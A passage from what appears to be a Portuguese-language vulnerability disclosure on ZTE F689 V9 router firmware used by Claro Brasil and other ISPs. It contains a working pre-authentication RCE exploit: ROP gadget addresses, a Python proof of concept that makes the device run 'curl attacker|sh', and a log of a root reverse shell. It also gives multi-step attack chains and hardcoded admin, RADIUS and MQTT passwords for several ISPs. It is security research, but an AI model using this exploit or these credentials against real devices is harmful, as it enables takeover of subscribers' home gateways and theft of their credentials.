      &lt;MaxEnvelopes&gt;1&lt;/MaxEnvelopes&gt;
      &lt;CurrentTime&gt;{datetime.utcnow().isoformat()}Z&lt;/CurrentTime&gt;
      &lt;RetryCount&gt;0&lt;/RetryCount&gt;
      &lt;ParameterList&gt;&lt;/ParameterList&gt;
    &lt;/cwmp:Inform&gt;
  &lt;/soapenv:Body&gt;
&lt;/soapenv:Envelope&gt;"""

    r = requests.post(ACS, data=inform_xml,
                      headers={"Content-Type": "text/xml; charset=utf-8",
                               "SOAPAction": ""})
    return r.status_code, "InformResponse" in r.text
</code></pre>
<p>Rodei isso 160 vezes com combinações aleatórias de OUI/serial. 160 respostas HTTP 200 OK. 160 mensagens <code>InformResponse</code>. O ACS distribui tokens de sessão pra quem pedir.</p>
<h3>Explorando CVE-J — RCE Pré-Autenticado em Três Fases</h3>
<h4>Fase 1: Controle de PC via Epilogue ARM</h4>
<p>A função <code>check_data_integrity</code> em ARM32 termina com a instrução <code>pop {r4,r5,r6,r7,r8,sb,fp,pc}</code>. Com o buffer de 256 bytes transbordado, o layout da stack no momento do <code>pop</code> é controlado pelo atacante em sua totalidade:</p>
<pre><code class="language-plaintext">offset 000–255   sb[256]     ← buffer transbordado (conteúdo do atacante)
offset 256       saved r4    ← CONTROLADO (M[256:260])
offset 260       saved r5    ← CONTROLADO (M[260:264])
offset 264       saved r6    ← CONTROLADO
offset 268       saved r7    ← CONTROLADO
offset 272       saved r8    ← CONTROLADO
offset 276       saved sb    ← CONTROLADO
offset 280       saved fp    ← CONTROLADO
offset 284       saved pc    ← CONTROLADO (M[284:288]) ← PC HIJACK
</code></pre>
<p>Com <code>M</code> de 285+ bytes, o atacante controla <code>pc</code> e todos os sete registradores <code>r4</code>–<code>r8</code>, <code>sb</code>, <code>fp</code> simultaneamente. Não é necessário vazar nenhum endereço — <code>httpd</code> é non-PIE e todos os endereços são fixos.</p>
<h4>Fase 2: Cadeia ROP — Write-What-Where para .bss Fixo</h4>
<p>O <code>.bss</code> de <code>httpd</code> em <code>0x18ac40</code> é um buffer global em endereço fixo (non-PIE, não randomizado mesmo com <code>randomize_va_space=2</code>). A estratégia é escrever um comando curto no <code>.bss</code> byte a byte via gadgets ROP e então chamá-lo com <code>system()</code>.</p>
<p><strong>Gadgets identificados via ROPgadget:</strong></p>
<table>
<thead>
<tr>
<th>Gadget</th>
<th>Endereço</th>
<th>Instrução(ões)</th>
</tr>
</thead>
<tbody><tr>
<td>G_MOV</td>
<td><code>0x3e0a8</code></td>
<td><code>mov r0, r4; pop {r3,r4,fp,pc}</code></td>
</tr>
<tr>
<td>G_STR</td>
<td><code>0x88b34</code></td>
<td><code>str r0, [r4]; pop {r4,r5,sb,pc}</code></td>
</tr>
<tr>
<td>G_CALL</td>
<td><code>0xfe50c</code></td>
<td><code>mov r0, r5; blx r4</code></td>
</tr>
<tr>
<td>system@PLT</td>
<td><code>0x19328</code></td>
<td>—</td>
</tr>
<tr>
<td>sleep@PLT</td>
<td><code>0x1955c</code></td>
<td>— (usado para verificação de timing)</td>
</tr>
</tbody></table>
<p><strong>Fluxo da chain ROP:</strong></p>
<pre><code class="language-plaintext">1. PC → G_MOV (0x3e0a8):
      r0 ← r4  (chunk de 4 bytes do comando)
      r4 ← endereço_destino_no_bss
      pc → G_STR

2. PC → G_STR (0x88b34):
      mem[r4] ← r0   ← escreve 4 bytes no .bss
      pc → G_MOV     ← repete para próximo chunk

3. [repete N vezes até o comando estar completo no .bss]

4. PC → G_CALL (0xfe50c):
      r0 ← r5 = 0x18ac40   ← argumento de system()
      blx r4 = blx system@PLT (0x19328)
      → executa system("curl 192.168.0.12|sh")
</code></pre>
<p><strong>Observação importante:</strong> <code>r5</code> é preservado durante toda a chain de escrita porque nem G_MOV nem G_STR o modificam. É carregado uma vez no início como <code>0x18ac40</code> e permanece intacto até G_CALL usá-lo como argumento para <code>system()</code>.</p>
<p><strong>PoC —</strong> <code>exploits/httpd_rce_bsswrite.py</code> <strong>(trecho):</strong></p>
<pre><code class="language-python">from pwn import p32, u32
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64, requests

# Chave pública extraída de home/httpd/thinklua/template/commpage_status_comm.lp
pubkey = RSA.import_key(open("exploits/pubkey.pem").read())

G_MOV  = 0x3e0a8
G_STR  = 0x88b34
G_CALL = 0xfe50c
SYSTEM = 0x19328
BSS    = 0x18ac40

CMD = b"curl 192.168.0.12|sh\x00"   # 21 bytes, cabe no .bss

def write_chunk(val_4b, dest_addr):
    """Cadeia G_MOV + G_STR para escrever 4 bytes em dest_addr."""
    return (
        p32(G_MOV)     +   # pc → G_MOV
        p32(val_4b)    +   # r4 = valor → r0 (pelo G_MOV)
        p32(dest_addr) +   # r4 = destino (para G_STR)
        p32(0) * 2     +   # r3, fp (descartados)
        p32(G_STR)     +   # pc → G_STR
        p32(0) * 3         # r4, r5, sb (r5 não é modificado — preserva BSS)
    )

rop = b""
for i in range(0, len(CMD), 4):
    chunk = u32(CMD[i:i+4].ljust(4, b"\x00"))
    rop += write_chunk(chunk, BSS + i)
rop += p32(G_CALL)   # mov r0,r5; blx r4 → system(BSS)

# Layout de M: 256 bytes de padding + registradores salvos + chain ROP
M  = b"\x41" * 256        # preenche sb
M += p32(u32(CMD[:4]))    # r4 inicial = primeiro chunk do comando
M += p32(BSS)             # r5 = 0x18ac40 = argumento de system()
M += p32(0) * 3           # r6, r7, r8
M += p32(0)               # sb
M += p32(0)               # fp
M += p32(G_MOV)           # PC → início da chain
M += rop                  # chain ROP na stack estendida

C = PKCS1_v1_5.new(pubkey).encrypt(M)
check_b64 = base64.b64encode(C).decode()

requests.post("http://192.168.0.1/?_type=menuData",
              headers={"Check": check_b64,
                       "Content-Type": "application/x-www-form-urlencoded"},
              data="action=login")
# HTTP 400 é esperado — autenticação falhou, mas a chain ROP já executou
</code></pre>
<h4>Fase 3: Execução e Confirmação Root</h4>
<p><strong>Verificação de timing antes do staging:</strong></p>
<p>Chain ROP com <code>system("sleep 10")</code> via sleep@PLT <code>0x1955c</code>: <code>httpd</code> trava por exatamente <strong>10.81 segundos</strong> antes de ser respawnado pelo <code>cspd</code>. A chain funciona. ASLR é completamente irrelevante.</p>
<p><strong>Staging HTTP:</strong></p>
<p>No servidor do atacante em <code>192.168.0.12</code>, servindo <code>reverse_shell.sh</code> via <code>python3 -m http.server 80</code>:</p>
<pre><code class="language-plaintext">192.168.0.1 - - [05/Jun/2026 03:47:12] "GET / HTTP/1.1" 200 -
</code></pre>
<p>O dispositivo buscou o script. O shell foi estabelecido.</p>
<p><strong>Exfiltração de</strong> <code>/proc/self/status</code><strong>:</strong></p>
<pre><code class="language-plaintext">Name:   sh
Uid:    0    0    0    0
Gid:    0    0    0    0
CapEff: 0x3ffff7ffff
</code></pre>
<p><code>CapEff: 0x3ffff7ffff</code> = todos os capability bits de root ativados. Uid 0. <strong>Root confirmado.</strong></p>
<p><strong>Robustez:</strong> <code>cspd</code> monitora e respawna <code>httpd</code> automaticamente após cada crash. Durante o desenvolvimento dos PoCs, <code>httpd</code> sobreviveu a <strong>68+ ciclos de crash/respawn</strong> sem qualquer instabilidade do dispositivo. Iterar o exploit é completamente seguro.</p>
<p><strong>Encadeamento CVE-C + CVE-J:</strong> A única informação necessária do lado do atacante é a chave pública RSA — disponível no firmware público (extraível sem autenticação via CVE-B) ou diretamente do HTML da página de status sem autenticação. O ataque é <strong>100% remoto, 100% pré-autenticado, 100% não-interativo</strong>.</p>
<p>PoCs completos: <code>exploits/httpd_check_overflow.py</code> (verificação do reach pré-auth), <code>exploits/httpd_rce_bsswrite.py</code> (chain ROP completa), <code>exploits/exploit_shell_full.py</code> (staging automatizado).</p>
<hr />
<h2>7. Encadeando as Vulnerabilidades</h2>
<p>Descobertas individuais são interessantes. O encadeamento é o que torna essa pesquisa significativa.</p>
<h3>Cadeia 1: Comprometimento Remoto Completo (Sem Acesso Físico, Sem Cooperação do Assinante)</h3>
<pre><code class="language-plaintext">Passo 1 , CVE-B: Baixa o firmware do servidor de update do ISP (HTTP sem auth)
         → Extrai WebPrivateKey, DefAdNewPass do webpri

Passo 2 , CVE-C: Usa WebPrivateKey pra forjar headers Check pra qualquer sessão

Passo 3 , CVE-H: Autentica com qualquer username + DefAdNewPass (senha admin)
         → Obtém sessão login_right=1 (em dispositivos onde admin está habilitado)

Passo 4 , CVE-G (traceroute): POST no endpoint de traceroute com shell payload
         → Execução de comando como root

Passo 5 , CVE-E: Lê /etc/shadow do filesystem do dispositivo, joga no hashcat
         → Quebra a senha root → reutilizável em todos os F689 V9
</code></pre>
<p>O download do firmware sozinho dá as credenciais necessárias pra autenticar. A falha de autenticação (CVE-H) significa que você nem precisa saber o username exato. Se você está mirando um dispositivo não-BCH onde a conta admin está habilitada, a injeção no traceroute te dá root. O hash do shadow dá uma credencial root persistente em toda a população de dispositivos.</p>
<h3>Cadeia 2: Ataque do Lado do ISP (Atacando Dispositivos de Assinantes a Partir da WAN)</h3>
<pre><code class="language-plaintext">Passo 1 , CVE-D: Envia Inform ao ACS se passando pelo dispositivo alvo
         → Recebe CWMPSessionToken pra a sessão "do dispositivo"

Passo 2 , CVE-D (continuação): Emite GetParameterValues ao ACS
         → Lê configuração completa do dispositivo incluindo credenciais

Passo 3 , CVE-H: Usa a senha da conta ISP do assinante pra autenticar na interface web
         → Funciona mesmo com username errado

Passo 4 , CVE-F (TLS MitM): Usa a chave privada do cert TLS compartilhado + ARP spoofing
         → Intercepta sessões HTTPS do assinante pro roteador
         → Captura credenciais passivamente
</code></pre>
<p>Essa cadeia é particularmente desagradável porque os passos 1–2 exigem apenas acesso à internet e conhecimento do serial number do dispositivo, que segue o padrão <code>CLARO_XXXXXX</code> (derivável do endereço MAC, que às vezes é visível publicamente).</p>
<h3>Cadeia 3: Variante Claro BCH (Limitada mas Realista)</h3>
<p>Em dispositivos Claro BCH especificamente, onde a conta admin está desabilitada e os endpoints de traceroute/tcpdump têm controle de acesso, a superfície de ataque disponível é mais estreita:</p>
<pre><code class="language-plaintext">CVE-B: Extrai credenciais do firmware (senha da conta ISP CLARO_6842C7)
CVE-H: Login com qualquer username + senha conhecida
       → sessão login_right=2
CVE-D: Acessa a infraestrutura do ACS como qualquer dispositivo
CVE-C: Forja headers Check (útil pra automação)
CVE-F (TLS): MitM de sessões HTTPS do assinante
</code></pre>
<p>Execução de comando root não está disponível sem a conta Level=1. Mas roubo de credenciais e abuso da infraestrutura ISP estão.</p>
<h3>Cadeia 4: RCE Pré-Autenticado Total (Zero Credencial, Zero Sessão — Qualquer Deployment)</h3>
<p>Esta é a cadeia mais crítica e a única que não requer nenhuma credencial, nenhuma sessão e nenhum acesso físico — e funciona contra <strong>qualquer</strong> dispositivo F689 V9 em qualquer deployment, independente do ISP.</p>
<pre><code class="language-plaintext">Passo 1 , CVE-B + CVE-C:
         Baixar firmware (HTTP sem auth) → extrair chave pública RSA de
         home/httpd/thinklua/template/commpage_status_comm.lp
         (ou obter diretamente do HTML da página de status sem autenticação)

Passo 2 , CVE-J:
         Construir payload M = [256B padding] + [r4=chunk1_cmd] + [r5=BSS_0x18ac40]
                                + [r6-fp=0] + [pc=G_MOV_0x3e0a8] + [ROP chain]
         Computar C = RSA_public_encrypt(M)
         POST http://192.168.0.1/?_type=menuData
              Header: Check: base64(C)
         → httpd decripta C→M, transborda sb[256], chain ROP executa:
           G_MOV → G_STR (escreve "curl attacker_ip|sh\0" no .bss 0x18ac40)
           → G_CALL → system(0x18ac40)

Passo 3:
         Dispositivo faz GET para o servidor do atacante e executa o script
         → shell reverso estabelecido

Resultado:
         Uid: 0 0 0 0 / CapEff: 0x3ffff7ffff = ROOT
         Sem login. Sem credencial. Sem interação com o usuário alvo.
         Funciona em todos os deployments F689 V9 com httpd ativo.
</code></pre>
<p><strong>Por que essa cadeia é diferente de todas as outras:</strong> As cadeias 1–3 requerem algum fator — credencial do ISP, acesso à conta admin, conhecimento do serial number. A cadeia 4 requer apenas a chave pública RSA (pública por definição) e acesso de rede à porta 80/443 do dispositivo. É o cenário de ameaça mais severo possível para um dispositivo de rede residencial.</p>
<hr />
<h2>8. Análise de Impacto</h2>
<h3>Confidencialidade</h3>
<p>Uma exploração bem-sucedida de qualquer um dos caminhos de RCE (CVE-G, injeção no traceroute) dá acesso root ao filesystem. A partir dessa posição:</p>
<ul>
<li><p>Ler <code>/etc/shadow</code> (hash root compartilhado entre todos os dispositivos , quebra uma vez, usa em todo lugar)</p>
</li>
<li><p>Ler <code>/etc/hardcode</code> e descriptografar <code>webpri</code> (todas as credenciais ISP/admin de todos os deployments)</p>
</li>
<li><p>Ler <code>/etc/server-key.pem</code> (chave privada TLS , habilita MitM HTTPS contra esse assinante)</p>
</li>
<li><p>Capturar tráfego de rede nas interfaces LAN e WAN (tcpdump como root)</p>
</li>
<li><p>Ler DHCP leases, tabelas ARP, lista de dispositivos conectados</p>
</li>
</ul>
<p>Do lado do ACS (CVE-D), um atacante pode emitir <code>GetParameterValues</code> pra ler:</p>
<ul>
<li><p>Configuração do dispositivo (todas as credenciais ativas em texto claro)</p>
</li>
<li><p>Endereços MAC e IPs dos dispositivos conectados</p>
</li>
<li><p>Credenciais VoIP (usuário/senha SIP)</p>
</li>
<li><p>PSK do WiFi</p>
</li>
</ul>
<h3>Integridade</h3>
<p>Acesso root significa acesso de escrita total ao dispositivo:</p>
<ul>
<li><p>Modificar regras do iptables (expor serviços, redirecionar tráfego, bypass de firewall)</p>
</li>
<li><p>Modificar configuração de DNS (apontar o DNS do assinante pra um resolver controlado pelo atacante)</p>
</li>
<li><p>Instalar backdoor persistente via cron ou startup script modificado</p>
</li>
<li><p>Modificar configuração do cliente TR-069 pra apontar pra um ACS controlado pelo atacante</p>
</li>
<li><p>Empurrar firmware malicioso via RPC <code>Download</code> do ACS (CVE-D)</p>
</li>
</ul>
<p>O último ponto é o mais severo: com autenticação do ACS ausente (CVE-D), um atacante poderia teoricamente forjar uma resposta RPC <code>Download</code> direcionando um dispositivo alvo a baixar e instalar firmware controlado pelo atacante. Isso seria um comprometimento permanente, persistente e irrecuperável de um gateway residencial.</p>
<h3>Disponibilidade</h3>
<ul>
<li><p>Loop de reboot via cron</p>
</li>
<li><p>Bricking do dispositivo por corrupção do bootloader (menos útil, mais destrutivo)</p>
</li>
<li><p>Black-hole da internet do assinante via manipulação da tabela de rotas</p>
</li>
<li><p>DoS no serviço VoIP limpando a configuração SIP</p>
</li>
</ul>
<h3>Escala</h3>
<p>É isso que eleva essa pesquisa de "bug interessante em um dispositivo" para "problema de infraestrutura em escala nacional". O firmware <code>GUI_F689_2G_SIP_V9.0.10P4N10</code> é implantado em toda a base de assinantes da Claro Brasil que tem o ZTE F689 V9. O ACS TR-069 em <code>tr069.sdm.virtua.com.br:7547</code> gerencia todos esses dispositivos centralmente.</p>
<p>CVE-D é a vulnerabilidade mais perigosa desse conjunto não por causa do score CVSS isoladamente, mas porque dá ao atacante um único ponto de alavanca sobre todo dispositivo de assinante no escopo daquele ACS , potencialmente centenas de milhares de gateways residenciais.</p>
<hr />
<h2>9. Lições Aprendidas</h2>
<h3>Lição 1: Siga o Credential Store</h3>
<p>Em firmware embarcado, quase sempre existe um credential store. Encontrá-lo, entender sua criptografia e descriptografá-lo frequentemente é a única coisa mais valiosa que você pode fazer no começo de uma análise. Nesse dispositivo, o <code>webpri</code> era a chave-mestra que destravou chaves criptográficas, passphrases e credenciais padrão pra todos os outros componentes.</p>
<p>O padrão é consistente entre fabricantes: credenciais são criptografadas com AES em repouso (bom), mas a chave de descriptografia é derivada de outro arquivo no mesmo dispositivo (ruim), usando um algoritmo determinístico numa biblioteca compartilhada (pior). Uma vez que você reverse engineeria a derivação, você tem tudo.</p>
<h3>Lição 2: Compare Handlers Irmãos</h3>
<p>A injeção no traceroute se tornou óbvia no momento em que eu a comparei com o handler do ping. Dois handlers, mesmo binário, mesmo mecanismo de dispatch , um fortalecido, o outro não. Essa técnica de "comparação entre irmãos" é extremamente eficiente pra achar correções incompletas. Se você vê validação no Handler A, imediatamente cheque o Handler B fazendo a mesma operação conceitual. Desenvolvedores de firmware frequentemente consertam o bug em que tropeçaram e esquecem do mesmo code path duas funções adiante.</p>
<h3>Lição 3: A Arquitetura de Validação Importa Mais Que a Lógica de Validação</h3>
<p>O handler do ping tem boa validação (<code>ChkHost</code>, <code>ChkLanWanCon</code>), mas ainda executa via <code>execl("/bin/sh", "sh", "-c", cmd)</code>. Isso significa que se a validação for ignorada algum dia (via caminho TR-069, integer overflow ou erro de lógica), você cai direto na execução shell. A correção certa não é validação melhor , é <code>execv</code> passando argumentos separados, de modo que o shell nunca é envolvido. Validação é defense-in-depth. <code>execv</code> é segurança estrutural. Sempre defenda a correção estrutural.</p>
<h3>Lição 4: A Configuração do ISP Faz Parte da Superfície de Ataque</h3>
<p>A configuração BCH da Claro (desabilitar a conta admin, restringir direitos de acesso) é um controle de segurança real e bloqueou dois dos meus caminhos de RCE. Mas não é uma correção de código , o código vulnerável continua presente e compilado. Um provedor diferente, ou uma unidade Claro mal-configurada, exporia esses caminhos por completo. Quando você analisa firmware CPE, precisa entender não só o que o código faz, mas como o ISP o configurou. Configuração é parte da postura de segurança.</p>
<h3>Lição 5: Teste Dinâmico Exige Entender o Modelo de Sessão</h3>
<p>Gastei várias horas frustrantes com sessões válidas sendo rejeitadas pelo backend. O problema era que o <code>httpd</code> aplica um state de "página atual" , você precisa navegar pra o <code>menuView</code> relevante antes de poder fazer POST no endpoint de dados correspondente. Isso é fácil de perder se você só está replayando HTTP requests brutos sem passar pelo fluxo do browser. Sempre capture e entenda a interação completa do browser antes de tentar automatizar.</p>
<h3>Conselhos Práticos pra RE de Firmware Embarcado</h3>
<ul>
<li><p><strong>Comece com</strong> <code>strings</code> <strong>no binário principal</strong> antes de abrir um disassembler. Você vai encontrar nomes de objetos IPC, format strings com pontos de injection óbvios, e valores hardcoded que guiam onde olhar.</p>
</li>
<li><p><strong>Mapeie a arquitetura IPC primeiro.</strong> Entenda como o frontend web conversa com o daemon de backend antes de mergulhar em qualquer dos lados isoladamente.</p>
</li>
<li><p><strong>Lua é legível.</strong> Se o firmware tem código web em Lua, leia tudo , geralmente é a descrição mais honesta do que o dispositivo aceita e do que faz com a entrada.</p>
</li>
<li><p><strong>Cruze referências com o backup de config.</strong> O arquivo de config exportado frequentemente contém estruturas de tabela que mapeiam perfeitamente pra o modelo de objetos interno do firmware, economizando horas de análise binária.</p>
</li>
<li><p><strong>Use o decompiler do Ghidra pras partes peludas.</strong> Radare2 é mais rápido pra navegação e scripting, mas o output do decompiler do Ghidra é inestimável quando você está tentando entender uma função complexa sem passar horas em assembly ARM puro.</p>
</li>
</ul>
<hr />
<h2>10. Segunda Fase de Pesquisa — Análise Estática em Escala Global: 14 Novas Vulnerabilidades</h2>
<p>Após a divulgação inicial da primeira fase (CVE-A a CVE-I), continuei a análise do firmware com foco em <code>bin/cspd</code> — o daemon central de provisionamento que contém a lógica de configuração de credenciais para cada ISP parceiro da ZTE ao redor do mundo. Usando extração sistemática de strings e análise de sequências de bytes, identifiquei mais 14 vulnerabilidades independentes que afetam dezenas de milhões de dispositivos em pelo menos 12 países.</p>
<p>A descoberta central dessa fase foi o mapeamento das <strong>funções de provisionamento ISP-específico</strong> em <code>cspd</code>: cada ISP (identificado por um código CC interno) tem seu próprio bloco de inicialização, e a maioria usa credenciais hardcoded, derivações previsíveis ou protocolos inseguros que contradizem qualquer modelo razoável de segurança de CPE.</p>
<h3>10.1 CVE-J — Pre-Auth RCE em <code>httpd</code> (documentado na Seção 5 e 6)</h3>
<p>Tecnicamente descoberto durante esta fase de análise, CVE-J está detalhado nas seções anteriores por ser a vulnerabilidade de maior impacto. CVSS 9.8 Critical. Ver Seções 5 e 6.</p>
<h3>10.2 CVE-II — Chave AES Hardcoded em <code>passpppoe.so</code> (CWE-321)</h3>
<p>A biblioteca <code>lib/passpppoe.so</code> contém uma chave AES hardcoded utilizada para cifrar credenciais PPPoE durante o provisionamento. A chave está embeddada como literal binário no próprio código da biblioteca — sem derivação por dispositivo, sem dependência de hardware único.</p>
<p><strong>Impacto:</strong> Qualquer pessoa com acesso ao firmware (obtível sem autenticação via CVE-B) pode decriptar credenciais PPPoE de qualquer dispositivo que use essa biblioteca. Credenciais PPPoE dão acesso à sessão de internet do assinante e potencialmente ao portal de gerência do ISP.</p>
<p>CVSS: <strong>7.5 High</strong> (<code>AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</code>)</p>
<h3>10.3 CVE-JJ — URLs de ACS TR-069 Hardcoded + Credencial Fallback Multi-ISP (CWE-798 / CWE-319)</h3>
<p>O <code>cspd</code> contém, compilado como literais de string, os endereços dos servidores ACS TR-069 de 7 ISPs distintos — incluindo alguns usando <strong>HTTP puro na porta 7547</strong> (sem TLS). A faixa de offsets <code>0x28d087–0x28f297</code> no binário contém endereços de ACS, credenciais de fallback e, no caso do GTPL India, uma whitelist de DNS hardcoded.</p>
<p><strong>ISPs afetados e evidências:</strong></p>
<table>
<thead>
<tr>
<th>ISP</th>
<th>Endereço ACS</th>
<th>Protocolo</th>
</tr>
</thead>
<tbody><tr>
<td>Claro Brasil</td>
<td><code>tr069.sdm.virtua.com.br:7547</code></td>
<td>HTTPS</td>
</tr>
<tr>
<td>Virtua/Claro legacy</td>
<td><code>tr069.virtua.com.br</code></td>
<td>HTTPS</td>
</tr>
<tr>
<td>MGTS Russia (CC=118)</td>
<td>servidor MGTS</td>
<td>HTTPS</td>
</tr>
<tr>
<td>JLM Indonesia</td>
<td><code>http://acs.jlm.net.id:7547</code></td>
<td><strong>HTTP puro</strong></td>
</tr>
<tr>
<td>GTPL India</td>
<td><code>http://cwmp.gtpl.aprecomm.ai:8088</code></td>
<td><strong>HTTP puro</strong></td>
</tr>
<tr>
<td>Ubiquoss (CC=2083)</td>
<td>servidor Ubiquoss</td>
<td>HTTPS</td>
</tr>
<tr>
<td>Megacable México (CC=2018)</td>
<td>servidor Megacable</td>
<td>HTTPS</td>
</tr>
</tbody></table>
<p><strong>GTPL India — DNS whitelist hardcoded:</strong> O bloco da GTPL India em <code>0x28f377</code> contém uma lista estática de servidores DNS que o dispositivo aceita como autoritativos: <code>182.237.9.10</code>, <code>182.237.12.6</code>, <code>43.231.56.2</code>, <code>103.15.63.4</code>, <code>103.36.83.36</code>, <code>182.237.14.2</code>, <code>27.116.55.202</code>. Uma whitelist hardcoded no binário não pode ser atualizada via TR-069 sem um reflash de firmware.</p>
<p><strong>JLM Indonesia + GTPL India — HTTP/7547:</strong> TR-069 sobre HTTP puro em porta 7547 expõe toda a sessão de provisionamento (incluindo credenciais enviadas no Inform e comandos SetParameterValues) a qualquer on-path attacker na rede do ISP ou em roteadores de trânsito entre o CPE e o ACS.</p>
<p>CVSS: <strong>7.4 High</strong> (<code>AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N</code>) para o vetor de downgrade HTTP</p>
<h3>10.4 CVE-KK — Artefatos de Desenvolvimento FTP na Imagem de Produção (CWE-489)</h3>
<p>O filesystem de produção contém artefatos de desenvolvimento FTP que não deveriam estar presentes em firmware de produção: scripts de teste, arquivos de configuração temporários e credenciais de staging para infraestrutura FTP interna da ZTE.</p>
<p><strong>Impacto:</strong> Exposição de detalhes sobre a infraestrutura de build e staging da ZTE. Potencial acesso a sistemas internos de desenvolvimento se as credenciais ainda estiverem válidas. Indicativo de ausência de processo de limpeza de artefatos antes do release.</p>
<p>CVSS: <strong>5.3 Medium</strong> (<code>AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N</code>)</p>
<h3>10.5 CVE-LL — Senha RADIUS Hardcoded para Megacable México (CWE-798)</h3>
<p>O bloco de provisionamento Megacable (CC=2018) em <code>bin/cspd</code> contém a senha RADIUS hardcoded <code>m3g4c4b13Mvn0</code> como literal binário. Essa senha é usada para autenticação RADIUS do dispositivo contra a infraestrutura de autenticação da Megacable.</p>
<p><strong>Evidência:</strong></p>
<pre><code class="language-plaintext">strings bin/cspd | grep -A1 'RADIUS\|radius\|Mega'
m3g4c4bXXXXXXXX
</code></pre>
<p><strong>Impacto:</strong> Qualquer dispositivo Megacable pode ser autenticado na infraestrutura RADIUS da Megacable usando essa credencial. Se a infraestrutura RADIUS for usada para controle de acesso à rede, um atacante pode autenticar dispositivos não-autorizados como se fossem CPEs legítimos da Megacable.</p>
<p>CVSS: <strong>7.5 High</strong> (<code>AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</code>)</p>
<h3>10.6 CVE-MM — Credencial Telnet/Samba/FTP Derivada de GPON SN: ISP-198 e CC=66 Tailândia (CWE-916)</h3>
<p>O <code>cspd</code> usa <code>TdGetPonSn</code> → <code>GenRossnFromGponsn</code> como <strong>fonte primária</strong> (não fallback) da credencial Telnet/SSH/Samba/FTP para dois deployments: ISP-198 (código de gerência) e CC=66 (Tailândia). A chave MIB <code>TS_UPwd_198</code> aciona uma leitura de flash que, ao falhar, cai para derivação GPON SN. Para CC=66, a derivação via GPON SN é o caminho primário.</p>
<p><strong>Cadeia de derivação:</strong></p>
<pre><code class="language-plaintext">GPON SN (ex: CLARO_6842C7)
  → _getGponSnfromTag()
  → ConvertStr2AscII()     [converte cada char para representação ASCII hex]
  → StringToUpper()
  → GenRossnFromGponsn()   [função de mistura — reversível com o SN em mãos]
  → credencial Telnet/Samba/FTP
</code></pre>
<p>O GPON SN é frequentemente visível via interface web sem autenticação, via SNMP, ou é derivável do endereço MAC (que pode ser capturado passivamente via Ethernet/WiFi). Um atacante que capture o SN deriva a credencial de gerência localmente, sem nenhuma interação com o dispositivo.</p>
<p>CVSS: <strong>7.4 High</strong> (<code>AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N</code>)</p>
<h3>10.7 CVE-NN — Senha Admin Hardcoded <code>superinea</code> para MGTS Rússia (CWE-798)</h3>
<p>O bloco de provisionamento MGTS Russia (CC=118) em <code>bin/cspd</code> contém o literal <code>superinea</code> como valor da chave <code>DefAdNewPass118</code> — a senha de administrador hardcoded para todos os dispositivos ZTE F689 V9 implantados pela MGTS na Rússia.</p>
<p><strong>Evidência (offset</strong> <code>0x28d170</code><strong>):</strong></p>
<pre><code class="language-plaintext">offset    hex                        ASCII
28d162:   44 65 66 41 64 4e 65 77 50 61 73 73 31 31 38 00  DefAdNewPXXXXXX\0
28d172:   73 75 70 65 72 69 6e 65 61 00                    superinea\0
</code></pre>
<p><code>superinea</code> é:</p>
<ul>
<li><p>Um anagrama de <code>sinupera</code> e variantes — provável referência interna</p>
</li>
<li><p>Não presente em wordlists públicas padrão, mas recuperável diretamente de <code>strings(1)</code> sem qualquer ferramenta de análise</p>
</li>
<li><p>Idêntica em todos os dispositivos MGTS implantados com esse firmware</p>
</li>
</ul>
<p><strong>Impacto:</strong> Acesso de administrador total a qualquer dispositivo F689 V9 da base de assinantes da MGTS Russia. A MGTS é o maior provedor de telecomunicações da Rússia — essa vulnerabilidade afeta potencialmente centenas de milhares de assinantes.</p>
<p>CVSS: <strong>8.8 High</strong> (<code>AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</code>)</p>
<h3>10.8 CVE-OO — Protocolos de Gerência Inseguros Habilitados por ISP (CWE-319)</h3>
<p>Dois deployments habilitam protocolos de gerência sem criptografia de forma intencional e documentada no firmware:</p>
<p><strong>Megacable México (CC=2018):</strong></p>
<ul>
<li><p>Interface web HTTP (sem HTTPS) habilitada por configuração ISP</p>
</li>
<li><p>Telnet na porta 2323 habilitado adicionalmente ao Telnet padrão na 23</p>
</li>
<li><p>Toda comunicação de gerência é transmitida em cleartext na rede local e potencialmente via WAN</p>
</li>
</ul>
<p><strong>Albania ONE (CC não divulgado):</strong></p>
<ul>
<li><p>Todos os protocolos de gerência (HTTP, Telnet, FTP, SNMP) habilitados simultaneamente</p>
</li>
<li><p>Nenhum protocolo seguro equivalente é configurado como obrigatório</p>
</li>
</ul>
<p><strong>Impacto:</strong> Qualquer on-path attacker entre o administrador e o dispositivo (LAN ou WAN) pode capturar credenciais de gerência e comandos de configuração passivamente. Para Megacable, a porta 2323 bypass qualquer firewall que filtre apenas a porta 23 padrão.</p>
<p>CVSS: <strong>8.1 High</strong> (<code>AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H</code>) — Megacable/WAN; <strong>8.8 High</strong> (<code>AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</code>) — Albania ONE/LAN todos os protocolos</p>
<h3>10.9 CVE-PP — Credenciais MQTT de Teste Hardcoded para Claro Argentina (CWE-798)</h3>
<p>O bloco de provisionamento Claro Argentina (CC=170) em <code>bin/cspd</code> contém credenciais MQTT de ambiente de teste compiladas no binário de produção:</p>
<p><strong>Evidência (offset</strong> <code>0x28d6d4</code><strong>):</strong></p>
<pre><code class="language-plaintext">0x28d6d4: testcXXXXX         ← username MQTT (literal binário)
0x28d6dc: PepitopXXXXXXXX ← password MQTT (literal binário)
</code></pre>
<p><code>testcpe</code> é um username de ambiente de testes/staging (<code>test + CPE</code>). <code>Pepitopistola1.</code> ("Pepito pistola" — expressão coloquial argentina, seguida de <code>1.</code>) indica que essa credencial foi criada informalmente por um desenvolvedor e nunca substituída antes do release de produção.</p>
<p><strong>Impacto:</strong> Qualquer atacante com acesso ao broker MQTT da Claro Argentina pode publicar mensagens de gerência como se fosse qualquer CPE Claro Argentina F689 V9, ou assinar tópicos de gerência para monitorar comandos enviados para qualquer dispositivo.</p>
<p>CVSS: <strong>5.3 Medium</strong> (<code>AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N</code>)</p>
